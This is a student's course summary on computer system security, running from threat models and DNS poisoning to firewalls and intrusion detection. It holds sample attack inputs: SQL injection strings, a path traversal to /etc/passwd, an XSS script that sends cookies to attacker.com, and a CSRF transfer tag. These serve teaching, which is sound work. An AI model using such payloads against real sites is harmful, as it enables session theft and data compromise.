

UCLouvain - EPL

LINFO2347 - Computer System Security Synthèse

Victor Fairon

Year 2026

Contents

1 Basic Concepts	1
1.1 The STRIDE Threat Model	1
2 DNS	1
2.1 DNS refresher	1
2.2 Cache poisoning	2
3 SQL injection & Cross Site Scripting	4
3.1 SQL Injection	4
3.2 Cross-Site Scripting	7
3.3 Cross-Site Request Forgery (CSRF)	8
4 DoS Attacks	9
5 Network scans	10
6 Program Execution Basics	12
6.1 Key Concepts	12
6.2 Walkthrough: <code>g()</code> calls <code>f(3,4)</code>	13
7 Buffer Overflow's & code injection	14
7.1 The attacks	14
7.2 Protection	15
7.3 Fuzzing	16
8 Traffic Monitoring	16
9 Honeypots and Network Telescopes	17
10 Firewalls	18
10.1 Classification	18
10.2 Location of a firewall	18
10.3 Syntax of NFTables Rules	19
10.4 Zones	21
10.5 Network Address Translation (NAT)	21
11 IDS	22
11.1 Host-based IDS vs Network-based IDS	22
11.2 DPI-based IDS: Snort	23
11.3 DPI Performance	23
11.4 Measuring Performance	24
12 Spam	25
13 Botnets	27
14 Cryptography	27
14.1 Symmetric-Key Cryptography	28
14.2 Public-Key Cryptography	30
14.3 Diffie-Hellman Key Exchange	32

14.4 Cryptographic Hash Functions	33
14.5 Message Authentication Codes	33
15 TLS	34
16 Secure DNS	36
16.1 DNS over TLS (DoT)	36
16.2 DNS over HTTPS (DoH)	36
16.3 QNAME Minimization	37
16.4 DNSSEC	37

1 Basic Concepts

A secure system is :

- **Confidential** : no attacker can **steal/read** data
- **Integrity** : no attacker can **modify** data/system behavior
- **Availability** : no attacker can disturb access

We say that if a system is **vulnerable** it is exposed to **threats** that could lead to an **exploit** of the vulnerability so there is a **risk**.

1.1 The STRIDE Threat Model

Classification of security threats in six categories :

- Spoofing : faking identity
- Tampering : modification of smth
- Repudiation : lack of logs to prove previous actions
- Information Disclosure : secrets get disclosed
- Denial of Service : make a service unavailable
- Elevation of Privilege : getting higher privilege than initially

A voir si le reste du chapitre est vraiment intéressant pour l'examen ...

We can do **access control** to restrict the access to certain resources to specific (groups of) users. We can implement it using both **authentication** (ie verifying the identity of the person) or **Authorization** (ie define who has access to what).

For files in Linux it is implemented using permissions defined on groups and users. For network it is implemented using firewalls.

As it is difficult to handle many privilege, it is recommended to use the **Principle of least privilege** : define the access control rules such that users only have access right needed to do their jobs, not more. It is the same for networking : no component should have more access than what is needed for its function (ie block everything and only allow what is needed).

2 DNS

2.1 DNS refresher

The Domain Name System (DNS) is a distributed naming system that allows clients to translate domain names into IP addresses. For example, an **A** record maps a domain name to an IPv4 address, while an **AAAA** record maps it to an IPv6 address. DNS can also store many other types of information, such as mail servers (**MX**) or aliases (**CNAME**).

Domain names are organized hierarchically as a tree. For example, the domain name `git.louvainlinux.org`. is composed of the following levels:

- The root domain .

- The top-level domain `org`
- The domain `louvainlinux.org`
- The host or subdomain `git`

To resolve a domain name, a recursive DNS resolver queries the DNS hierarchy step by step. The root servers return the name servers responsible for `.org`, the `.org` servers return the name servers responsible for `louvainlinux.org`, and finally the authoritative server for `louvainlinux.org` (in our case OVH's servers) returns the requested record for `git.louvainlinux.org`, our public IP. The servers responsible for a DNS zone are called **authoritative name servers**.

2.2 Cache poisoning

Resolvers may often have to resolve the same domain names (`google.com`, `instagram.com`,...) and in order to be more efficient, they use caching. When a request having already been answered is received, it doesn't resolve it again but looks in its table. Records have a **TTL** : time to live.

Caching is also done inside our computer for the same reasons.

Caches can be exploited in **cache poisoning attacks** where an attacker takes advantage of the fact that the cache might be less protected than the data source. Both presented attacks are used in order to redirect the traffic for a targetted website. This could be useful for fishing, steal information or do Denial-of-Service attack by denying the access to the targetted website.

2.2.1 First variant

Previously, authoritative DNS servers were allowed to include additional DNS records in their responses, even when those records were not requested. This could be exploited for DNS cache poisoning.

For example, an attacker controlling the authoritative server for `evil.com` could respond to a query for `www.evil.com` with the correct answer, but also include a forged record claiming that `www.bank.com` resolves to the attacker's IP address. If the recursive resolver cached this additional record, a later request for `www.bank.com` could be answered using the poisoned cache, redirecting users to a malicious website instead of the legitimate one.

Modern resolvers prevent this by doing a *Bailiwick Check* : accept additional records only if they contain information about the same domain as in the request.

2.2.2 Second variant

In the second version an attacker sends a fake response to the DNS resolver spoofing the IP address of the Authoritative Name Server supposed to answer the actual query. This is possible because DNS is built over UDP which makes the resolver un-aware of a possible connection state with the Authoritative NS.

In reality this attack is a little more complicated to execute because of two verifications :

- A DNS query ID that is sent to the DNS server which answer must contain this ID,
- The response must be sent to the same UDP port from which the query originated.

So an attacker would have to guess both numbers for the resolver to accept the spoofed packet which is unlikely to happen. Though old DNS servers are still vulnerable as consistent ports and predictable DNS query ID were used.




Figure 1: DNS Cache Poisoning 1




Figure 2: DNS Cache Poisoning 2

2.2.3 ARP Cache Poisoning (or ARP Spoofing)

Reminder that ARP (**A**ddress **R**esolution **P**rotocol) is used to resolve the MAC address corresponding to an IPv4 address (**N**eighbor **D**iscovery **P**rotocol is used for IPv6). Each host maintains its own ARP cache and broadcasts ARP requests when it needs to determine the MAC address associated with an IP address on the local network.

Since ARP does not authenticate replies and hosts typically accept unsolicited ARP responses, an attacker present on the same local network can perform an *ARP poisoning* attack. By sending forged ARP replies that associate a victim's IP address (e.g., the default gateway) with the attacker's MAC address, the attacker can redirect traffic through their machine and potentially perform a man-in-the-middle attack.

2.2.4 Web Cache Poisoning

Web cache poisoning occurs when an attacker causes a cache to store a malicious HTTP response that will later be served to other users requesting the same resource. An attacker relies on a page that includes user-controlled input. By injecting malicious content, they can cause the server to generate a poisoned response. If the cache does not differentiate between requests containing the malicious input and normal requests, the poisoned response may be cached and subsequently served to legitimate users.

3 SQL injection & Cross Site Scripting

3.1 SQL Injection

SQL Injection SQL injection occurs when an application incorporates user input directly into an SQL query without proper sanitization or parameterization.

Consequence: an attacker may alter the structure of the query executed by the database.

Identifying a vulnerability The first step is usually to make assumptions about how the input is used by the application.

For example, suppose the input is inserted into a `WHERE` clause:

```
1 SELECT * FROM users
2 WHERE username = '<input>';
```

Special characters such as quotes (') may reveal that user input is being interpreted as SQL code rather than as data.

Modifying query logic If a field is vulnerable, the attacker may inject a condition that always evaluates to true:

```
1 SELECT fieldlist FROM table
2 WHERE field = 'anything' OR 'x'='x';
```

Since `'x'='x'` is always true, the query may return all rows of the table.

Schema discovery SQL injection can also be used to infer information about the database schema.

Column discovery

- Guess a column name.
- Use it in a condition such as `FIELD_NAME IS NULL`.
- If an error occurs, the guessed column likely does not exist.

Table discovery

```
1 x' AND 1=(SELECT COUNT(*)
2   FROM SomeGuessedTableName); --'
```

Differences in behavior or error messages may reveal whether the table exists.

Modifying the database In severe cases, SQL injection may allow the execution of additional SQL statements.

Example: attempting to create a new user.

```
1 x'; INSERT INTO users
2 ('email','passwd','login_id','name')
3 VALUES ('steve@unixwiz.net',
4         'hello',
5         'steve',
6         'Steve Friedl'); --'
```

Possible consequences include:

- Authentication bypass.
- Disclosure of confidential data.
- Modification of existing records.
- Creation of new accounts.
- Administrative actions on the database.

Limitations of INSERT attacks Note that inserting a new user is often more difficult in practice:

- The database account may not have `INSERT` privileges.
- The attacker may not know the exact schema of the table.
- Additional fields may be required.
- A valid user account may require entries in multiple tables (roles, permissions, access rights, etc.).

Instead of an `INSERT`, an attacker may therefore attempt an `UPDATE` on an existing record.

Timing attacks Even if the attacker cannot directly read or modify data, SQL injection may still leak information through **side channels**.

Idea: execute an expensive operation only when a condition is true and measure the server's response time.

Example:

- If the first character of Bob's password is A, delay the query by several seconds.
- Measure the response time.
- A longer response indicates that the guess was correct.

By repeating this process for every position and every possible character, the entire password can eventually be reconstructed.

Other injection vulnerabilities Injection attacks are not limited to SQL. They occur whenever **unsanitized user input** is interpreted as code, commands, or file paths.

Example: **Path Traversal**

```
1 open("/path/to/pictures/" + imageName)
```

If the application does not validate `imageName`, an attacker may supply:

```
1 ../../../../../../etc/passwd
```

and access files outside the intended directory.

Mitigation

- **Never trust external input.**
- Validate and sanitize user data.
- Apply the **principle of least privilege** to database accounts.
- Avoid exposing detailed error messages to users.
- Use **prepared statements**.
- Use **stored procedures** when appropriate.

Prepared Statements Instead of:

```
1 String query =  
2 "SELECT * FROM users WHERE name='" + n + "'";
```

use:

```
1 String query =  
2 "SELECT * FROM users WHERE name=?";
```

Key idea:

- The SQL query is parsed *before* receiving the user input.
- User values are sent separately as parameters.
- Input is therefore treated as **data**, not as SQL code.
- Quotes, keywords and operators cannot alter the query structure.

Stored Procedures With stored procedures, the SQL logic resides inside the database:

```
1 {call checkUsername(?)}
```

The application can only provide parameters; it cannot modify the SQL logic implemented by the procedure itself.

3.2 Cross-Site Scripting

Sessions and cookies HTTP is a **stateless** protocol: each request is independent and the server has no built-in notion of a logged-in user.

To implement sessions, a web application:

1. Authenticates the user.
2. Generates a random **session token**.
3. Stores the token in a browser cookie.
4. Receives the cookie in all subsequent requests.

The session token therefore acts as a temporary proof of authentication.

Same-Origin Policy (SOP) A web page is normally only allowed to access data belonging to the **same origin**.

An origin is defined by the triplet:

(protocol, host, port)

As a consequence, a malicious website cannot directly read another website's cookies, local storage, or page contents.

XSS: Key idea The goal of a Cross-Site Scripting attack is to execute attacker-controlled JavaScript inside a trusted website.

For example, an attacker may submit the following review:

```
1 <script>
2 fetch("https://attacker.com/steal?c=" +
3     encodeURIComponent(document.cookie));
4 </script>
```

If the website stores and displays this review without sanitization, the script will execute whenever another user views the page. Since the code executes *inside Amazon's page*, the browser considers it to originate from Amazon itself.

Persistent vs Reflected XSS

Persistent XSS

- Malicious code is stored on the server (reviews, comments, profiles, etc.).
- Every visitor executes the injected code.

Reflected (Non-persistent) XSS

- Malicious code is embedded in a crafted URL parameter.
- The victim must be convinced to visit the URL (e.g., through an email or social media post).
- The vulnerable web application must include the attacker-controlled parameter in the generated page without properly sanitizing or escaping it.
- The attacker-controlled input is therefore *reflected* by the server into the response.
- The injected JavaScript is immediately executed by the victim's browser.

Mitigation

- Validate and **sanitize** user input.
- Escape special HTML characters before inserting user input into the page (e.g., `<script>` becomes `<script>`).
- Use frameworks providing automatic output encoding.
- Store untrusted user content on a separate domain (eg: `googleusercontent.com`)
- Use **XSS Filters**
- Use browser XSS protections and Content Security Policies (CSP).

3.3 Cross-Site Request Forgery (CSRF)

Key idea Unlike XSS, the attacker does not execute code inside the trusted website. Instead, they trick the victim's browser into sending an authenticated request to a website on which the victim is already logged in.

The attack relies on the fact that browsers automatically include cookies associated with a website in every request sent to that website.

Example Suppose a user is logged into their online banking website and therefore possesses a valid session cookie.

The user then visits a malicious website containing:

```
1 <img src=  
2 "https://bank.com/transfer?  
3 to=attacker&amount=10000">
```

When loading the image, the browser automatically sends:

- The request to `bank.com`.
- The user's session cookie for `bank.com`.

The bank therefore receives what appears to be a legitimate authenticated request and may perform the transfer.

Difference with XSS XSS

- The attacker injects JavaScript into the trusted website.
- The attacker's code executes with the website's privileges.
- Cookies and page contents may be accessed.

CSRF

- The attacker never gains access to the session cookie.
- The attacker simply causes the victim's browser to send a request.
- The browser automatically authenticates the request using the stored cookie.

Mitigation

- Verify the **Referer** or **Origin** header that informs the source of the request.
- Avoid performing sensitive actions through simple **GET** requests.
- Avoid storing session token as cookie but sending as normal parameter. This way it isn't included by browser automatically and thus attacker can't count on it.

4 DoS Attacks

Goal : overload or crash a server to make the service unavailable to legitimate users. There can be **semantic** attacks ("smart") or **brute-force** attacks.

Semantic attacks overload a server by sending knowledge-specific requests. These can include :

- computational intensive SQL queries
- error generating requests
- part of an HTTP request so that the server waits for the rest

Brute-force attacks overload a server by sending many "random" requests. These can include :

- Exhausting number of TCP connections (SYN flooding)
- Exhausting the number of application sessions

Distributed DoS attack (DDoS) can be executed by combining many attacker sources with different IP addresses.

Reflected DoS attack (RDoS) A reflected DoS attack is performed by spoofing the victim's IP address and using it as the source address of requests sent to third-party servers (e.g., DNS servers). The servers then send their responses to the victim instead of the attacker.

This technique provides two advantages:

- **Reflection:** the attack traffic appears to originate from legitimate servers rather than from the attacker.
- **Amplification:** the response is often larger than the request. As a result, a small amount of traffic sent by the attacker can generate a much larger volume of traffic towards the victim.

Network Ingress Filtering Network ingress filtering is a defense against such attacks based on IP spoofing. It consists of configuring firewalls to verify that the source IP address of a packet is consistent with the network from which the packet originates.

This filtering is typically performed by the attacker's ISP or edge router, as close as possible to the source of the traffic.

5 Network scans

ICMP scans The most simple scanning technique is sending ICMP requests and waiting for a possible ICMP echo reply. Network administrators often configure host to ignore ICMP packets.

TCP port scanning Three common TCP port scanning techniques are:

- **TCP Connect Scan (Full Handshake):** perform a complete TCP handshake (SYN, SYN+ACK, ACK) as shown in Figure 3. This technique is easy to implement since it relies on the operating system's normal socket API, but it is slower and establishes a real TCP connection.
 - SYN+ACK received → port **open**.
 - RST received → port **closed**.
 - No response → port **filtered** or target unreachable.
- **TCP SYN Scan (Half-Open Scan):** send a SYN packet and, if a SYN+ACK is received, immediately reply with a RST instead of completing the handshake (Figure 4). Since no connection is established, this technique is faster and more discreet.
 - SYN+ACK received → port **open**.
 - RST received → port **closed**.
 - No response → port **filtered** or target unreachable.
- **TCP Xmas-Tree Scan:** send a packet with the FIN, PSF and URG flags set. According to RFC-compliant TCP implementations, a closed port should respond with a RST, while an open port should ignore the packet.
 - RST received → port **closed**.
 - No response → port **open or filtered**.




Figure 3: Full TCP Scan




Figure 4: Half TCP Scan

UDP Scan UDP scanning is more difficult than TCP scanning because UDP is a **connectionless** protocol.

Two common approaches are:

- **Negative-response scanning:** send a UDP packet and wait for an ICMP Port **Unreachable** message. Receiving such a message indicates that the port is **closed**. If no response is received, the port may be open, filtered, or the ICMP message may have been blocked.
- **Positive-response scanning:** send a valid request for the expected service (e.g., a DNS query on port 53) and wait for a response. Receiving a valid response indicates that the port is **open**. If no response is received, no reliable conclusion can be drawn.

UDP scans are therefore less reliable than TCP scans since many UDP services do not respond to invalid requests and ICMP messages may be filtered by firewalls.

Application Layer Scan it is possible as well for example to scan many URL's to see which web application is running on a server

6 Program Execution Basics

6.1 Key Concepts

6.1.1 Memory Organization

Each running process has its own **virtual address space**, divided into four regions:

- **Code/Text segment:** machine instructions.
- **Static data:** global variables and constants.
- **Heap:** dynamically allocated memory (`malloc`, `new`, ...).
- **Stack:** function call frames (detailed below).

From the CPU's perspective, variables are simply memory locations — their type and structure are a compiler-level concept.

Alignment and Padding. For performance, compilers align data to natural boundaries: 32-bit values on 4-byte boundaries, 64-bit values on 8-byte boundaries. This may introduce unused **padding bytes** between variables.

C Strings.

6.1.2 Registers

Registers are small storage locations inside the CPU. Three registers are central to function calls:

- **Program Counter (PC)**, also called the Instruction Pointer (IP): holds the *address* of the next instruction to execute. After a normal instruction it advances automatically; after a jump or call it is set to the target address.

- **Stack Pointer (SP)**: holds the address of the top of the stack. The stack grows toward *lower* addresses, so SP decreases when data is pushed.
- **Frame Pointer (FP)**: holds a fixed reference point inside the current stack frame, making local variables and parameters accessible at known offsets.

6.1.3 Stack Frames

Every function call creates a **stack frame** — a contiguous block of stack memory belonging to that invocation. A frame typically contains, from higher to lower addresses:

Parameters
Return address
Saved FP
Local variables

The **return address** is the address of the instruction to resume in the caller once the function returns. The **saved FP** is the caller's frame pointer, preserved here so it can be restored on return. Since there is only one FP register, each function must save the caller's value before using FP for itself. The FP divides the frame into two zones reachable by fixed offsets:

- *Above* FP (positive offsets): parameters and caller information.
- *Below* FP (negative offsets): local variables.

6.2 Walkthrough: `g()` calls `f(3,4)`

Consider the following code:

```

1 int f(int a, int b) {
2     int i, j;
3     return a + b;
4 }
5 void g() {
6     int x = f(3, 4);
7 }
```

Building the frame (call). When `g()` calls `f(3,4)`, the following happens in order:

1. Parameters 4 then 3 are pushed onto the stack.
2. The `call` instruction pushes the **return address** — the address of the instruction in `g()` immediately after the call — and sets the PC to `f()`.
3. `f()` saves `g()`'s FP (the **saved FP**), then sets FP to the current SP, anchoring the new frame.
4. SP is decreased to reserve space for local variables `i` and `j`.

The resulting stack frame for `f()` looks like this (on a 32-bit architecture):

FP + 12	Parameter b=4b = 4 b=4
FP + 8	Parameter a=3a = 3 a=3
FP + 4	Return address
FP + 0	Saved FP
FP - 4	Local variable jj j
FP - 8	Local variable ii i

Tearing down the frame (return). When `f()` returns:

1. SP is restored, discarding the local variables.
2. The saved FP is popped, restoring `g()`'s frame pointer.
3. The return address is popped into the PC, resuming execution in `g()` right after the call.

7 Buffer Overflow's & code injection

7.1 The attacks

Base idea is that sometimes, strings lengths are not checked and so you can overwrite data that comes after.

```
1 char currentUser[8];
2 int accessRight;
3 void initUser(char *name) {
4     accessRight = 0; // no access right
5     strcpy(currentUser, name);
6 }
```

Here since `accessRight` is defined just after the `currentUser`, when giving your name, if it is longer than 8 bytes, it could overwrite the `accessRight`.

Code Injection via Stack Overflow. Beyond overwriting adjacent variables, an attacker can target the **return address** stored in the stack frame itself. Recall that a stack frame is laid out as follows (growing toward lower addresses):

Parameters
Return address
Saved FP
Local variable (e.g. <code>char buf[8]</code>)

If no bounds check is performed on input copied into `buf`, an attacker can supply a string long enough to overflow through the saved FP and overwrite the return address. By crafting the input to contain:

1. **Shellcode** — raw machine instructions for `execve("/bin/sh")` placed at the start of the buffer,
2. **Padding** — enough bytes to fill the buffer and saved FP,
3. **A forged return address** — pointing back to the start of the buffer,

when the function returns, the CPU jumps to the attacker's code and spawns a shell.

Address Predictability. This attack requires knowing where the buffer sits in memory. Thanks to **virtual memory**, for a specific program and execution chain, the virtual memory will be the same. Attacker only needs running the program on its computer first.

RAJOUTER LES INFOS DES TP/EXAMENS SI NÉCESSAIRE

7.2 Protection

There are several ways to protect against buffer overflow attacks:

- **Use safer languages** — prefer languages that perform runtime bounds checking, preventing overflows entirely.
- **Avoid unsafe C functions** — never use `strcpy`, `gets`, etc. Use length-aware alternatives such as `strncpy(buffer, s, sizeof(buffer))` instead.
- **Validate external input** — always sanitize data coming from outside the program (truncating, range checking, rejecting unexpected values).
- **Guard pages** — place protected memory regions around local variables so any access raises an exception. Effective but resource-intensive.
- **Static analysis and fuzzing** — use tools to detect vulnerabilities before deployment, either by analyzing the code statically or by feeding it malformed inputs.
- **Canaries** — place a known value between the local variables and the return address, and verify it has not changed before returning. **Random canaries** make this harder to bypass by using an unpredictable value. However, canaries have two fundamental limitations:
 - An attacker who can guess or leak the canary value can include it in their payload and bypass the check entirely.
 - Canaries only protect the return address. Local variables sitting below the canary remain unprotected — an attacker can overwrite a pointer or function pointer variable and have it used *before* the function returns, bypassing the canary check altogether.
- **Address Space Layout Randomization (ASLR)** — modern operating systems randomize the base addresses of the stack, heap, and libraries, making it harder for an attacker to predict where shellcode or useful functions reside. However, ASLR has limits:
 - On systems with small address spaces (16-bit or 32-bit embedded CPUs), the random gap cannot be large, making the number of possible layouts small enough to brute-force.
 - **Heap spraying** — if randomization is insufficient, an attacker can allocate large regions of memory on the heap (several MBytes) filled with shellcode, making it likely that a guessed address lands somewhere in that region.
- **Data Execution Prevention (DEP)** — modern OSs mark stack memory pages as non-executable, so the CPU raises an exception if the instruction pointer ever points there. This defeats classic shellcode injection. Programs that generate code at runtime (e.g. JIT compilers) must first write code as data, then explicitly mark that region executable. However, DEP does not stop all attacks, as shown below.

Return-Oriented Programming (ROP) — if DEP prevents injecting new code, the attacker can instead reuse code already present in the process. Since library functions like `system` sit at predictable addresses when ASLR is inactive, the attacker can fake a function call purely by manipulating the stack:

1. Arrange `"/bin/bash"` as an argument on the stack.




Figure 5: Return-Oriented Programming

2. Overwrite the return address with the address of **system**.

When the current function returns, the CPU jumps directly into **system** as if it were a normal call, spawning a shell without a single byte of injected code. This can be extended further by chaining multiple such calls together, each feeding into the next via carefully arranged stack contents. (See Figure 5)

7.3 Fuzzing

Main idea is to make the program crash by finding unexpected inputs. You can fuzz things from single functions to entire programs. There are two types of fuzzing :

- **Generation-based Fuzzing** : Create random content of file
- **Mutation-based Fuzzing** : start from a valid input and mutate by removing/inserting bytes

You can either assume you have access to what you are trying to fuzz **whitebox** or not **blackbox**. A third type is **Coverage-guided** assumes that you modify the code to track the different branch an input can take which helps the fuzzer (if an input triggers a new branch that has not been explored, it is an interesting input).

8 Traffic Monitoring

What is being measured :

- **Low level metrics** such as QoS metrics (throughput, packet loss,...), port usage, packet payloads, IP addresses. **Easier** to collect.
- **High level metrics** such as protocol/application usage, availability of services, services behaviors. **Harder** to collect.

There are two types of measurement :

- **Active Measurement** : Generation of probing traffic (additional load to the network) (eg : send pings, HTTP requests,...)

- **Passive Measurement** : by observing existing traffic (on different links/routers/switches). But super heavy since A LOT of packets are captured.

To solve the issue of big packet load capturing, one can :

- Collect and process less information (only headers as often data is encrypted, aggregate by **flows** = same (SRC/Dest IP, Port and Layer 3 Protocols)) or even do **sampling**
- Use dedicated hardware

Flow monitoring can either be **part of the router** or a **standalone application** getting data from the router's mirror port or offline from files. Flow monitoring comes with a loss of information (no payload, details of packet header) but you still get the IP's, port numbers, sizes.

Sampling You can sample three different ways :

- **Systematic** sampling (only taking the n -th packet) is bad as it can align with periodic traffic patterns
- **Random sampling** with a range (sampling every m to n each time changing), it is better
- **Dynamical sampling** according to diverse criterions e.g. sampling large flows more frequently.

However, sampling introduces statistical error — all results are estimations with a certain confidence. Importantly it underrepresents the small flows: missing one packet from a large flow causes a small error, but missing the only packet of a one-packet flow loses it entirely.

NETFLOW PACKET.... really useful here ?

9 Honeypots and Network Telescopes

Honeypots. A honeypot is a fake resource, made to appear vulnerable to attract attackers to identify them or analyze their techniques. Any contact with a honeypot is suspicious, since legitimate traffic has no reason to reach a non-existent service.

Rather than exposing a real vulnerable server — which could be compromised and weaponized — honeypots emulate vulnerable systems at varying levels of fidelity:

- **High-interaction honeypot** — fully imitates the behavior of a real server, or runs one in an isolated VM, providing a convincing target for detailed attack analysis.
- **Low-interaction honeypot** — simply listens for incoming connections and accepts them without further interaction, sufficient for detecting scans.

Since many attackers actively probe whether a machine is a honeypot (checking for missing directories, unusual system responses, etc.), some honeypots are made highly complex to appear convincing — up to simulating entire company networks, known as **honeynets**.

Related Approaches.

- **Tarpits** — honeypots that respond very slowly to incoming requests, tying up attacker resources and slowing down scans.
- **Canary traps** — intentionally leaked secrets (e.g. a honeylink URL, or a fake password) designed to trigger an alert when accessed by an attacker.

Network Telescopes and Internet Background Radiation. Even unused IP addresses constantly receive packets — a phenomenon known as **Internet background radiation**. Sources include attackers scanning for victims, misconfigured devices, and **backscatter** (SYN/ACK replies sent to spoofed source addresses during DDoS attacks).

A **network telescope** exploits this by passively monitoring large blocks of unused IP address space. Large-scale examples operate on /9 and /10 networks. Since no legitimate traffic should arrive at unused addresses, every received packet is a signal. Telescopes can be used to detect emerging attack trends (e.g. scans targeting newly discovered vulnerabilities), identify widespread misconfiguration, and indirectly observe DDoS attacks through their backscatter.

10 Firewalls

10.1 Classification

- Layer of operation :
 - Network layer (IPv4,6) (do not allow traffic from ip...)
 - Transport layer (UDP, TCP) (only allow connection to TCP port 80)
 - Application layer (HTTP,...) (Do not allow HTTP Post)
- Internal state :
 - **Stateless** — filters each packet in isolation with no knowledge of existing connections (e.g. allow TCP packets from host A to host B). Rules are evaluated in order and the first match is applied, typically ending with a default deny-all. The key limitation is that a stateless firewall has no concept of connection state — it cannot distinguish between a packet that initiated a connection and one that is a reply to it. For example, a rule allowing outbound TCP from the company network would also need to allow inbound TCP replies, but the firewall cannot tell a reply apart from a connection attempts.
 - **Stateful** — maintains an internal table of active connections. When a packet arrives, the firewall checks whether it belongs to a known connection and allows it through accordingly. This solves the limitation of stateless firewalls: a reply to an outbound TCP connection is recognized as such and allowed, while a genuinely unsolicited incoming packet is not. Since they must track every connection they are more resource intensive. Entries are removed based on observed packets (e.g. TCP FIN) or timeouts. Note that some complex protocols like FTP are non-trivial to handle, as the server opens a separate data connection back to the client, which a stateful firewall unaware of application-layer protocols would incorrectly reject.

10.2 Location of a firewall

You have different possibilities :

- As its own entity between the untrusted and internal network (centralized, easy to manage but doesn't protect against internal attacks)
- As a personal firewall running on hosts (protects against internal attacks but high overhead)

- Use a Demilitarized Zone (DMZ) to separate the services needed to be externally accessible and the internal network. Two firewalls are thus needed (the first one protects the DMZ from the internet and second the internal network from the internet and the potentially infected DMZ)
- On Proxies (either **transparent** the client has no idea it is talking to a proxy or **reverse proxies** the client has no knowledge the server exists). They can operate as application firewalls. Reverse proxies can even handle authentication of clients or DDoS protection (like Cloudflare's).

10.3 Syntax of NFTables Rules

NFTables is the modern Linux packet filtering framework, replacing the older `iptables`. Rules are organized into **tables** (grouping rules by family, e.g. `ip`, `ip6`) and **chains** (sequences of rules attached to a **hook** such as `input`, `output`, or `forward`). Each rule matches packets based on criteria and applies a verdict such as `accept`, `drop`, or `reject`.

A rule is generally composed of:

[conditions] [action]

For example:

```
1 tcp dport 22 accept
```

matches packets satisfying:

- `tcp`: the packet uses the TCP protocol.
- `dport 22`: the destination port is 22 (SSH).
- `accept`: the packet is accepted.

Additional matching criteria can be added:

- Source & Destination IP address:

```
1 ip saddr 192.168.1.10 daddr 10.0.0.5 tcp dport 22 accept
```

- Several ports:

```
1 tcp dport {22,80,443} accept
```

Connection Tracking States NFTables integrates rules to depend on the state of a connection (careful, works as well for UDP):

- `new`: first packet of a new connection.
- `established`: packet belonging to an already accepted connection.
- `related`: packet related to an existing connection (e.g. FTP data connection).
- `invalid`: packet that cannot be associated with any valid connection.

Example:

```
1 tcp dport {22,23} ip saddr 129.168.1.1 ct state established,related accept
```

Accept packets belonging to already established connections.

Connection Limits NFTables can limit the number of simultaneous connections using the Linux connection tracking subsystem (`conntrack`).

A *tracked connection* is an active communication that the kernel is currently monitoring. For TCP, opening multiple connections to the same service creates multiple tracked connections, even if the source and destination IP addresses remain the same.

The `ct count` expression counts the number of currently tracked connections matching a rule. For example:

```
1 tcp dport 80 ct count over 5 drop
```

means:

- the packet uses TCP,
- the destination port is 80,
- more than 5 tracked connections currently match,
- if the condition is satisfied, the packet is dropped.

Connection limits can be combined with other matching criteria. For example:

```
1 ip saddr 192.168.1.0/24 tcp dport 80 \  
2   ct count over 5 drop
```

Complete Example The following ruleset:

- drops all incoming traffic by default,
- accepts already established connections,
- drops invalid packets,
- allows SSH,
- allows HTTP but limits each source host to at most 5 concurrent connections.

```
1 table ip filter {  
2     chain input {  
3         type filter hook input priority 0;  
4         policy drop;  
5  
6         # Existing connections  
7         ct state established,related accept  
8  
9         # Invalid packets  
10        ct state invalid drop  
11  
12        # SSH  
13        tcp dport 22 accept  
14  
15        # HTTP with connection limit  
16        tcp dport 80 ct count over 5 drop  
17        tcp dport 80 accept  
18    }  
19 }
```

The order of rules is important: NFTAles evaluates rules from top to bottom and stops once a final verdict (`accept`, `drop`, etc.) is reached.

10.4 Zones

dont get what we need to know

10.5 Network Address Translation (NAT)

NAT allows multiple hosts in a private network to share a single public IPv4 address. It achieves this by modifying outgoing packets and keeping a translation table that maps internal addresses and ports to external ones.

Outgoing Packets For an outgoing packet, the NAT replaces:

- the source IP address by its public IP address,
- the source port by an unused external port.

The NAT stores the mapping in a translation table so that future packets belonging to the same connection can be translated consistently.

Incoming Packets When a reply arrives, the NAT consults its translation table and restores the original destination IP address and port. Packets that do not match an existing entry are typically dropped.

Port Forwarding Static entries can be added to the translation table to make internal services accessible from the Internet. For example, traffic arriving on port 80 can be forwarded to a web server running on 10.0.0.1:8080.

Advantages

- Conserves public IPv4 addresses.
- Internal hosts are not directly reachable from the Internet.
- Can randomize source ports, making certain spoofing attacks more difficult.

Drawbacks

- Breaks the separation between network and transport layers.
- Makes debugging and forensic analysis more difficult.
- Breaks the Internet's end-to-end principle.
- Can interfere with protocols that embed IP addresses or port numbers in application data.

NAT and Security NAT is not a firewall. Although unsolicited incoming connections are usually blocked because no translation entry exists, every active NAT mapping effectively creates a temporary opening through which packets can return.

NAT Exhaustion An attacker inside a network may attempt to create a large number of connections, forcing the NAT to allocate many translation entries and potentially exhausting its resources (memory or available ports).

NAT and IPv6 NAT was originally introduced to mitigate IPv4 address exhaustion. Because IPv6 provides a vastly larger address space, NAT is generally no longer required and each host can be assigned a globally routable address. However, NPTv6 (Network Prefix Translation) can still be used to translate only the ISP-assigned network prefix while preserving the host identifier. This allows internal IPv6 addresses to remain stable even when the public prefix changes.

11 IDS

Here are three detection methods :

- **Signature/knowledge** Looks for patterns or signatures of known attacks (example block HTTP request with `x' AND email IS NULL;--`). Difficult to detect new attacks but efficient when it is known
- **Anomaly-based IDS** The IDS first defines what “normal” behavior looks like, then detects deviations from it. (eg : alert if one IP sends more than 100 mails per day). But defining normality is hard and normality changes over time.
- **Specification-based IDS** : checks whether the system follows a formally specified behavior. It is a special case of anomaly detection where “normal” is not learned statistically but explicitly specified. But formal specification are rare.

Once an intrusion is detected, the IDS can react in two main ways:

- **Passive reaction:** only raise an alert, e.g. send an email to the administrator or log the event.
- **Active reaction:** try to stop the attack, e.g. block an IP address for 5 minutes, disable a user account, reconfigure the firewall, reduce service, etc.

Active IDS are useful in large networks because manual reaction to every alert is not scalable. However, they can be dangerous if they make wrong decisions: an innocent user may be blocked. IDS can also be taken advantage of by spoofing an innocent ip and getting it banned.

11.1 Host-based IDS vs Network-based IDS

Host-based IDS (HIDS). A host-based IDS runs on the host it monitors.

Examples:

- an anti-virus on a computer,
- a spam filter inside a local mail client,
- a webserver checking requests before executing them.

It can source its data by looking at incoming/outgoing traffic, log files, incoming emails,...

Pros:

- very detailed view of what happens on the host,
- encrypted traffic is not necessarily a problem if the IDS runs after decryption, e.g. inside the webserver after TLS termination.

Cons:

- consumes CPU and memory on the monitored host,
- only sees one host, not the global network picture,

Network-based IDS (NIDS). A network-based IDS monitors traffic at a point in the network. By receiving a copy of the traffic using a router or switch mirror port, a **network tap**. A NIDS can observe traffic at different levels:

